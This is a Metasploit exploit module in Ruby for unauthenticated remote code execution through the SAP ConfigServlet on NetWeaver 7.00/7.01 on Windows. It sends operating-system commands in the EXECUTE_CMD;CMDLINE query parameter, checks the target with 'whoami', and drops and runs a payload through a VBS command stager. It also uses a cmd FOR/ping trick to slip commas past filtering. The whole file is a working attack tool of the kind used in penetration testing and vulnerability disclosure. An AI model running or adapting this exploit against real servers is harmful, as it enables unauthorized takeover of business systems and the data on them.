##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit
	Rank = GreatRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::CmdStagerVBS
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'            => 'SAP ConfigServlet Remote Code Execution',
			'Description'     => %q{
				This module allows remote code execution via operating system commands through the
				SAP ConfigServlet without any authentication. This module has been tested successfully
				with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.
			},
			'Author'          =>
				[
					'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
					'Andras Kabai' # Metasploit module
				],
			'License'         => MSF_LICENSE,
			'References'      =>
				[
					[ 'OSVDB', '92704'],
					[ 'EDB', '24996'],
					[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
				],
			'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows generic',
						{
							'Arch' => ARCH_X86
						}
					]
				],
			'DefaultTarget'  => 0,
			'Privileged'     => false
			))

		register_options(
			[
				Opt::RPORT(50000),
				OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
			], self.class)

		register_advanced_options(
			[
				OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ])
			], self.class)
	end

	def check
		uri = normalize_uri(target_uri.path, 'ConfigServlet')
		begin
			res = send_evil_request(uri, "whoami", 20)
		rescue
			Exploit::CheckCode::Unknown
		end
		if !res
			Exploit::CheckCode::Unknown
		elsif res.body.include?("Process created")
			Exploit::CheckCode::Vulnerable
		else
			Exploit::CheckCode::Safe
		end
	end

	def exploit
		print_status("#{rhost}:#{rport} - Exploiting remote system")
		uri = normalize_uri(target_uri.path, 'ConfigServlet')

		execute_cmdstager( { :linemax => 1500, :nodelete => !datastore['DELETE_FILES'], :sap_configservlet_uri => uri })
	end

	def execute_command(cmd, opts)
		commands = cmd.split(/&/)
		commands.each do |command|
			timeout = 20
			if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
				register_file_for_cleanup($1)
			end
			if command.include?(".vbs") and command.include?(",")
				# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
				# using the following command line trick it is possible to echo commas into the right places
				command.gsub!(",", "%i")
				command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
			else
				command = "cmd /c " + command
			end
			if command.include?("cscript")
				# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
				# increaste timeout value when the VBS stager is called
				timeout = 120
			end
			vprint_status("Attempting to execute: #{command}")
			send_evil_request(opts[:sap_configservlet_uri], command, timeout)
		end
	end

	def send_evil_request(uri, cmd, timeout)
		begin
			res = send_request_cgi(
				{
					'uri' => uri,
					'method' => 'GET',
					'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
				}, timeout)

			if !res
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Exploit failed.")
			end

			if res.code != 200
				vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
				fail_with(Exploit::Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed.")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server.")
		end

		if not res.body.include?("Process created")
			vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
			fail_with(Exploit::Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed.")
		end
		return res
	end
end
